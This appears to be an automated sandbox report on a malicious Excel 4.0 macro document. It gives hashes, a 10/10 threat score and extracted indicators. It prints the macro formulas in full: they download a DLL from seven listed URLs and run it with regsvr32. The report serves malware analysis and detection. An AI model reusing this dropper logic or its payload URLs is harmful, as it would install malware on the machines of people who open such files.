5791b535ca2292813d29746f25daac92c5088bf73745c5295f8a571a0f46ca48

General

Target

5791b535ca2292813d29746f25daac92c5088bf73745c5295f8a571a0f46ca48
Size

20KB
Sample

241120-d7wrbsvmal
MD5

3dc12f2da1c473cc12dae3ee1ccebba6
SHA1

3159de75af403c7685bf13c45f4fd7b9e257257a
SHA256

5791b535ca2292813d29746f25daac92c5088bf73745c5295f8a571a0f46ca48
SHA512

d618f408f0eefe68aa727b47017e72b65909bb0480cc52208b998a55b25cc01bfb1a1ab0376c4434b3453f990b90704183fc4568ba4311ca35a72fc1e93d22e5
SSDEEP

384:2/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:2tINAo4FLkCBn9kC+xbLzJy

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

http://antaoco.com/wp-admin/5WaIjOuHnUj/

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

http://amkltd.co.uk/amk/IPuhx/

http://gees.com.pl/geessw/2YmxITo6/

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

xlm40.dropper

http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://antaoco.com/wp-admin/5WaIjOuHnUj/

xlm40.dropper

http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/

xlm40.dropper

http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/

xlm40.dropper

http://andrewpharma.com/wp-includes/WqgKtKrYJM/

xlm40.dropper

http://amkltd.co.uk/amk/IPuhx/

xlm40.dropper

http://gees.com.pl/geessw/2YmxITo6/

Targets

- Target
  
  5791b535ca2292813d29746f25daac92c5088bf73745c5295f8a571a0f46ca48
- Size
  
  20KB
- MD5
  
  3dc12f2da1c473cc12dae3ee1ccebba6
- SHA1
  
  3159de75af403c7685bf13c45f4fd7b9e257257a
- SHA256
  
  5791b535ca2292813d29746f25daac92c5088bf73745c5295f8a571a0f46ca48
- SHA512
  
  d618f408f0eefe68aa727b47017e72b65909bb0480cc52208b998a55b25cc01bfb1a1ab0376c4434b3453f990b90704183fc4568ba4311ca35a72fc1e93d22e5
- SSDEEP
  
  384:2/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:2tINAo4FLkCBn9kC+xbLzJy
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2